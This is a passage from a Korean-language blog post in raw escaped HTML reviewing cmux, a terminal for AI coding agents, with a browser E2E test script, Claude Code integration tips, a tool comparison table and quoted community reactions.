this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2058&quot; height=&quot;1218&quot; data-origin-width=&quot;2058&quot; data-origin-height=&quot;1218&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ========== 섹션 11: 실습 브라우저 E2E ========== --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;11. 실습 : 개발서버 + 브라우저 E2E 검증&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Playwright 없이도 cmux의 내장 브라우저로 간단한 E2E 검증이 가능하다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;#!/bin/bash&lt;/div&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# Step 1: 개발서버 시작 (분할 패인)&lt;/div&gt;
&lt;pre class=&quot;smali&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;cmux new-split right
cmux send --surface surface:2 &quot;cd my-app &amp;amp;&amp;amp; npm run dev\n&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# Step 2: 서버 준비 대기&lt;/div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;while ! cmux read-screen --surface surface:2 --lines 10 | grep -q &quot;ready&quot;; do
  sleep 1
done
echo &quot;개발서버 준비 완료!&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# Step 3: 브라우저에서 검증&lt;/div&gt;
&lt;pre class=&quot;armasm&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;cmux browser open http://localhost:3000
cmux browser wait --text &quot;Welcome&quot; --timeout-ms 10000
cmux browser snapshot -i
cmux browser fill &quot;input[name='email']&quot; &quot;test@example.com&quot;
cmux browser fill &quot;input[name='password']&quot; &quot;test1234&quot;
cmux browser click &quot;button[type='submit']&quot; --snapshot-after
cmux browser wait --url-contains &quot;/dashboard&quot; --timeout-ms 5000
cmux browser get text &quot;h1&quot;    # &quot;Dashboard&quot;가 출력되면 성공&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# Step 4: 정리&lt;/div&gt;
&lt;pre class=&quot;gauss&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;cmux send-key --surface surface:2 ctrl+c
cmux close-surface --surface surface:2&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;!-- TODO: 캡처 필요 — cmux browser open http://localhost:3000 후 snapshot -i 출력 화면, 또는 cmux browser click 실행 후 --snapshot-after 결과 화면. 실제 개발서버 기동 → 브라우저 자동화 플로우 전체를 보여주는 캡처 권장. --&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 이 부분도 추후 충분히 테스트 하고 갱신 예정.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ========== 섹션 12: Claude Code / OMC 통합 ========== --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;12. Claude Code / OMC 사용시 경험 공유&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code와 oh-my-claudecode(OMC)를 cmux에서 사용할 때 상충 되는 부분이 있었다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;나의 경우 omc를 사용할때 특히 cmux 스폰이 잘 안되어 다음 과 같은 규칙을 추가 해서 cmux 를 사용 하도록 우회 하였다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;( 아직 잘 만들어지고, 검증된 cmux관련 skills가 없다보니 나름 고민하고 적용해 보았다. )&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;OMC Teams와 tmux 의존성&lt;/h3&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주의: OMC 내부는 tmux를 직접 호출한다&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;OMC의 팀 시스템은 Node.js의 &lt;code&gt;execFile('tmux', args)&lt;/code&gt;로 tmux를 직접 호출한다. 따라서 &lt;code&gt;/team&lt;/code&gt;이나 &lt;code&gt;/omc-teams&lt;/code&gt; 명령을 사용하려면 &lt;b&gt;tmux가 여전히 설치되어 있어야 한다&lt;/b&gt;. cmux는 에이전트가 &lt;b&gt;수동으로 터미널을 조작&lt;/b&gt;하는 경우에 사용한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Claude Code Hook 연동&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# Claude Code 세션 이벤트를 사이드바에 반영&lt;/div&gt;
&lt;pre class=&quot;crmsh&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;cmux claude-hook session-start    # 세션 시작 시
cmux claude-hook stop              # 세션 종료 시
cmux claude-hook notification      # 알림 발생 시&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;전역 규칙 파일 설정&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;# ~/.claude/rules/cmux-guide.md에 가이드 배치&lt;/div&gt;
&lt;pre class=&quot;vala&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# cmux 터미널 환경 &amp;mdash; AI 에이전트 규칙
# tmux 대신 cmux CLI를 사용하세요.
# 핵심 명령어: read-screen, capture-pane, browser, wait-for
# 환경변수: CMUX_WORKSPACE_ID, CMUX_SURFACE_ID (자동 설정)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;cmux 감지 + tmux 폴백 패턴&lt;/b&gt;&lt;br /&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; margin: 10px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px;&quot;&gt;
&lt;pre class=&quot;livecodeserver&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# cmux가 있으면 cmux 사용, 없으면 tmux 폴백
if command -v cmux &amp;amp;&amp;gt;/dev/null &amp;amp;&amp;amp; [ -n &quot;$CMUX_WORKSPACE_ID&quot; ]; then
  cmux new-split right
  cmux send --surface surface:2 &quot;npm run dev\n&quot;
else
  tmux split-window -h
  tmux send-keys &quot;npm run dev&quot; C-m
fi&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ========== 섹션 13: 경쟁 도구 생태계 ========== --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;13. 경쟁 도구 생태계 (Claude Squad, Pane, Amux, Calyx 비교)&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;cmux와 비슷한 영역의 도구들을 비교한다 (2026년 3월, 각 프로젝트 README 기준).&lt;/p&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px; min-width: 700px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; border: 1px solid #b3d9ff; text-align: left; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 15px; border: 1px solid #b3d9ff; text-align: left; font-weight: 600;&quot;&gt;cmux&lt;/th&gt;
&lt;th style=&quot;padding: 15px; border: 1px solid #b3d9ff; text-align: left; font-weight: 600;&quot;&gt;Claude Squad&lt;/th&gt;
&lt;th style=&quot;padding: 15px; border: 1px solid #b3d9ff; text-align: left; font-weight: 600;&quot;&gt;Pane&lt;/th&gt;
&lt;th style=&quot;padding: 15px; border: 1px solid #b3d9ff; text-align: left; font-weight: 600;&quot;&gt;Amux&lt;/th&gt;
&lt;th style=&quot;padding: 15px; border: 1px solid #b3d9ff; text-align: left; font-weight: 600;&quot;&gt;Calyx&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;기반 기술&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Ghostty(libghostty) + Swift&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;tmux 기반 Go 래퍼&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;자체 터미널 에뮬레이터 (AGPL-3.0)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;tmux 기반 Python 래퍼&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;macOS native (Ghostty 기반)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;플랫폼&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;macOS (공식)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;macOS, Linux&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;macOS, Linux, Windows&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;tmux 지원 환경&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;macOS (macOS 26+)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;브라우저 내장&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;O (WebKit)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;X&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafafa;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;에이전트 API&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;전용 CLI (identify, read-screen, send, notify)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;tmux send-keys 기반&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;자체 API&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;tmux send-keys 기반&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;GUI 기반 관리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;특징&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;GPU 가속, 알림 시스템, 에이전트 불가지론적&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;다중 에이전트 관리, git worktree 연동&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;크로스플랫폼, 내장 git workflow 탭&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;웹 대시보드, REST API&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Liquid Glass UI, macOS 26 네이티브&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px; font-size: 13px; color: #888;&quot; data-ke-size=&quot;size16&quot;&gt;위 비교는 2026년 3월 기준. 참고: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/smtg-ai/claude-squad&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Squad&lt;/a&gt;, &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/jasonjmcghee/pane&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Pane&lt;/a&gt;, &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/mixpeek/amux&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Amux&lt;/a&gt;, &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/yuuichieguchi/Calyx&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Calyx&lt;/a&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;&quot;Primitive, Not Solution&quot; 철학&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;경쟁 도구와 cmux의 큰 차이는 &lt;b&gt;&quot;조합 가능한 프리미티브(Composable Primitives)&quot;&lt;/b&gt; 철학이다. Claude Squad나 Amux가 완성된 솔루션을 지향한다면, cmux는 &lt;code&gt;read-screen&lt;/code&gt;, &lt;code&gt;send&lt;/code&gt;, &lt;code&gt;notify&lt;/code&gt; 같은 &lt;b&gt;원자적 빌딩 블록&lt;/b&gt;을 제공하고, 조합은 사용자와 에이전트에 맡긴다. Unix 철학의 &quot;한 가지 일을 잘 하는 도구&quot;와 맞닿아 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;경쟁 구도: Calyx의 등장&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;구분&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;cmux&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Calyx&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;기반&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;libghostty + Swift/AppKit&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;libghostty + Tauri/React&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;UI 특징&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;네이티브 macOS, 세로 탭&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Liquid Glass UI (macOS 26 디자인)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;에이전트 연동&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Unix Socket CLI API&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;내장 MCP 서버&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;성숙도&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;v0.62.2, 9.9k+ Stars&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;초기 단계, 신규 프로젝트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;라이선스&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;AGPL-3.0 (상용 라이선스 별도)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;MIT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;최소 OS&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;macOS 14+ (Sonoma)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;macOS 26+ (Tahoe) &amp;mdash; 최신 OS 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px; font-size: 13px; color: #888;&quot; data-ke-size=&quot;size16&quot;&gt;(참고: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://dev.to/yuu1ch13/calyx-vs-cmux-choosing-the-right-ghostty-based-terminal-for-macos-26-28e7&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;DEV Community &amp;mdash; Calyx vs cmux&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ========== 섹션 14: 커뮤니티 반응 ========== --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;14. 커뮤니티 반응&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;cmux는 2026년 3월 현재 &lt;b&gt;GitHub 9.9k+ Stars&lt;/b&gt;를 기록하며 빠르게 성장 중이다. 최근 3일(3월 15~18일)에만 &lt;b&gt;90개 이상의 커밋&lt;/b&gt;이 머지되었다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;p style=&quot;margin: 0; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;I just discovered the BEST terminal for AI agents: 'Cmux'. Horizontal tabs, vertical tabs, web view built-in, notifications when the agent finishes, live agent status. As a heavy Claude Code user, this is a game changer.&quot;&lt;br /&gt;&lt;span style=&quot;font-size: 14px; color: #555;&quot;&gt;(AI 에이전트를 위한 최고의 터미널 'Cmux'를 발견했다. Claude Code 헤비 유저로서, 이건 게임 체인저다.)&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 5px 0 0 0; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;mdash; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://x.com/melvynxdev/status/2031389084107813141&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@melvynxdev&lt;/a&gt; (~14,500 views, ~152 reposts)&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;p style=&quot;margin: 0; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;tmux grids are awesome, but I feel a need to have a proper 'agent command center' IDE for teams of them, which I could maximize per monitor.&quot;&lt;br /&gt;&lt;span style=&quot;font-size: 14px; color: #555;&quot;&gt;(에이전트 팀을 모니터별로 최대화할 수 있는 '에이전트 커맨드 센터' IDE가 필요하다.)&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 5px 0 0 0; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;mdash; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://x.com/karpathy/status/2031616709560610993&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@karpathy (Andrej Karpathy)&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Karpathy의 이 트윗에 cmux 공동 창립자 Lawrence Chen이 직접 답변하며 cmux의 tmux 호환 레이어와 네이티브 스플릿/탭 기능을 소개했다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://x.com/lawrencecchen/status/2031666933695758698&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Lawrence Chen 답변 트윗&lt;/a&gt;)&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&quot;I love cmux. If you're running AI coding agents you need this terminal. Ghostty-based, vertical tabs, built-in browser, and a unix socket API that lets you script everything.&quot; &amp;mdash; (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://x.com/_PaperMoose_/status/2029672685530497080&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;X&lt;/a&gt;)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&quot;Claude Code just became unstoppable with Cmux!&quot;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&quot;Conductor, Superset, or cmux. Which should you use?&quot; &amp;mdash; cmux가 에이전트 터미널 &lt;b&gt;3강 구도&lt;/b&gt;에 포함 (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://x.com/elie2222/status/2032862488379687144&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;X&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Hacker News: 안정성 지적도 등장&lt;/h3&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;p style=&quot;margin: 0; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;I switched to cmux for a while, but had to switch back to Ghostty due to its unreliability, high memory and CPU usage and a bunch of bugs.&quot;&lt;br /&gt;&lt;span style=&quot;font-size: 14px; color: #555;&quot;&gt;(cmux를 한동안 썼지만, 불안정성과 높은 메모리/CPU 사용량 때문에 다시 Ghostty로 돌아가야 했다.)&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 5px 0 0 0; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;mdash; tekacs, &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://news.ycombinator.com/item?id=47416227&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;HN &quot;Show HN: Horizon&quot; 토론&lt;/a&gt;, 2026-03-17&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;전체 감정 분석 (2026년 3월 기준)&lt;/b&gt;&lt;br /&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 10px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; width: 30%;&quot;&gt;&lt;b&gt;긍정 (~80%)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&quot;Game changer&quot;, Claude Code 필수 동반자, 에이전트 시대 정의&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;중립 (~10%)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;경쟁 도구와의 비교 탐색, 관망&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;부정 (~10%)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;안정성/메모리 이슈, AGPL 라이선스 우려, macOS 전용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-top: 5px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(참고: 개발자 커뮤니티 종합, 2026-03-18 기준)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ========== 섹션 15: 제한사항과 미래 전망 ========== --&gt;
